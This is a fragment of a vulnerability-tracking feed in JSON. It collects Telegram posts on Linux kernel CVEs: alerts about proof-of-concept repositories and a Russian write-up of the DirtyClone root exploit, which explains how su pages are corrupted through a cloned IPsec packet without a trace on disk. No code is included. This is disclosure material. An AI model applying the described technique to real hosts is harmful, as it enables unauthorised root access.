\u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430.\n\n\u0412 \u044f\u0434\u0440\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043d\u0443\u043b\u0435\u0432\u044b\u043c \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c, \u0445\u0440\u0430\u043d\u044f\u0449\u0443\u044e\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0430\u0445, \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0430 \u043e\u0434\u0438\u043d-\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u0442\u0435\u0440\u044f\u043d\u043d\u044b\u0439 \u0444\u043b\u0430\u0433 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432 \u0437\u0430\u043f\u0438\u0441\u0438. \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u043b \u043f\u0443\u0442\u044c, \u0433\u0434\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f.\n\n\u0425\u0451\u043d\u0432\u0443 \u041a\u0438\u043c 16 \u043c\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b \u0431\u043e\u043b\u0435\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0439 \u043f\u0430\u0442\u0447, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432.\n\n\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e 21 \u043c\u0430\u044f (\u043a\u043e\u043c\u043c\u0438\u0442 48f6a5356a33), 23 \u043c\u0430\u044f \u0435\u043c\u0443 \u0431\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d CVE-2026-43503, \u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0432 Linux v7.1-rc5 24 \u043c\u0430\u044f.", "creation_timestamp": "2026-07-13T13:00:06.815366Z"}, {"uuid": "92dcbe9a-a9f6-4bfa-aa5a-c716d240cecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31309", "type": "seen", "source": "https://t.me/GithubRedTeam/92579", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31309\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Sch8ill\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-08 22:16:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nBroken Access Control in Mysterium Node TequilAPI before v1.36.0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:07.013277Z"}, {"uuid": "315f6a3d-e8ec-4ecb-861c-68c05d8b7e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://t.me/GithubRedTeam/91278", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31694-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xCyberstan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-30 11:50:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLinux kernel FUSE readdir cache out-of-bounds write (CVE-2026-31694): a malicious FUSE server overflows a page-cache page by 24 bytes. PoC plus an unprivileged local-root exploit via /etc/passwd page-cache corruption. Run only inside a VM.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:16.254221Z"}, {"uuid": "a7c46cfb-1d57-4878-b385-fe5a12e2f27a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/89584", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-guard\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a juliosuas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 05:23:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFast, auditable Linux mitigation for CVE-2026-31431 Copy Fail: algif_aead block, verification, and AF_ALG seccomp hardening.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:23.238078Z"}, {"uuid": "609e1e71-7db8-438f-ab6b-8a663129771f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/89594", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-simple-test\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tematemaru\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 07:54:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:23.280132Z"}, {"uuid": "5b0f1bf9-8554-4004-8cea-442cd8dde327", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31309", "type": "seen", "source": "https://t.me/GithubRedTeam/92579", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31309\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Sch8ill\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-08 22:16:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nBroken Access Control in Mysterium Node TequilAPI before v1.36.0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:10.261790Z"}, {"uuid": "4eb50dc8-703e-40e3-9dfe-35b6922290b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/89594", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-simple-test\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tematemaru\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 07:54:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:39.169709Z"}, {"uuid": "e9e3bcca-7bcc-44cf-860b-29a6e72890b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://t.me/GithubRedTeam/91278", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31694-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xCyberstan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-30 11:50:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLinux kernel FUSE readdir cache out-of-bounds write (CVE-2026-31694): a malicious FUSE server overflows a page-cache page by 24 bytes. PoC plus an unprivileged local-root exploit via /etc/passwd page-cache corruption. Run only inside a VM.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:32.878508Z"}, {"uuid": "33ec6302-7082-4f0b-a3eb-f8b9a7e8f76d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/89584", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-guard\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a juliosuas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 05:23:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFast, auditable Linux mitigation for CVE-2026-31431 Copy Fail: algif_aead block, verification, and AF_ALG seccomp hardening.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:39.118560Z"}, {"uuid": "e3fbc8da-6ed7-42e5-83bd-99c05e387556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/8349", "content": "DirtyClone\u00a0- \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux \u0438\u0437 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430\u00a0DirtyFrag, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 25 \u0438\u044e\u043d\u044f JFrog  \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 PoC - \u043f\u0435\u0440\u0432\u0443\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\n\nCVE-2026-43503 (CVSS 8.8) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c, \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u0443\u044e \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root. \u041f\u0430\u0442\u0447 \u0431\u044b\u043b \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u0432\u0435\u0442\u043a\u0443 21 \u043c\u0430\u044f.\n\n\u041a\u043e\u0433\u0434\u0430 \u044f\u0434\u0440\u043e \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u0430\u043a\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0431\u044f, \u0434\u0432\u0435 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442 \u0444\u043b\u0430\u0433 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u0430 \u043a\u0430\u043a \u043e\u0431\u0449\u0443\u044e \u0441 \u0444\u0430\u0439\u043b\u043e\u043c \u043d\u0430 \u0434\u0438\u0441\u043a\u0435. \u0418\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0444\u043b\u0430\u0433\u0430 \u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 /usr/bin/su, \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u044f\u0434\u0440\u043e \u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e.\n\n\u041e\u043d \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u044c IPsec, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0430 \u044d\u0442\u0430\u043f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0431\u0430\u0439\u0442\u0430\u043c\u0438, \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. \u041f\u0440\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b su \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0440\u0430\u0432 root.\n\n\u0424\u0430\u0439\u043b \u043d\u0430 \u0434\u0438\u0441\u043a\u0435 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043a\u043e\u043f\u0438\u0438, \u0445\u0440\u0430\u043d\u044f\u0449\u0435\u0439\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0435\u0433\u043e \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442, \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u0435\u0434\u043e\u0432 \u0430\u0443\u0434\u0438\u0442\u0430, \u0430 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f CAP_NET_ADMIN \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0442\u0443\u043d\u043d\u0435\u043b\u044f IPsec \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438. \u0412 Debian \u0438 Fedora \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u044d\u0442\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d.\n\n\u0412 Ubuntu 24.04 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0435\u043d \u0447\u0435\u0440\u0435\u0437 AppArmor \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043e, \u0447\u0442\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430. \u041a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0445\u043e\u0441\u0442\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0432\u043d\u0435\u0441\u0435\u043d\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d, \u0432\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 CI, \u0445\u043e\u0441\u0442\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b Kubernetes, \u0433\u0434\u0435 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d.\n\nJFrog \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Debian, Ubuntu \u0438 Fedora \u0441 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u042d\u0442\u043e \u0443\u0436\u0435 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0441 \u0442\u0435\u043c \u0436\u0435 \u0441\u0430\u043c\u044b\u043c \u0441\u0431\u043e\u0435\u043c: \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, 